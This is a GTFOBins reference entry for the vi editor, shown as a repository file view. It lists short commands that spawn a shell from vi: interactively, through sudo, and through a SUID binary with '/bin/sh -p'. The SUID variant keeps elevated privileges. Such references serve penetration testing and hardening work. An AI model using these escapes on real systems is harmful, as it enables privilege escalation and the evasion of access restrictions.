GTFOBins.github.io/_gtfobins/vi.md
2018-05-21 20:14:41 +01:00

13 lines
237 B
Markdown

---
functions:
exec-interactive:
- code: vi -c ':!/bin/sh'
- code: |
vi
:set shell=/bin/sh
:shell
sudo-enabled:
- code: sudo vi -c ':!/bin/sh'
suid-enabled:
- code: ./vi -c ':!/bin/sh -p'
---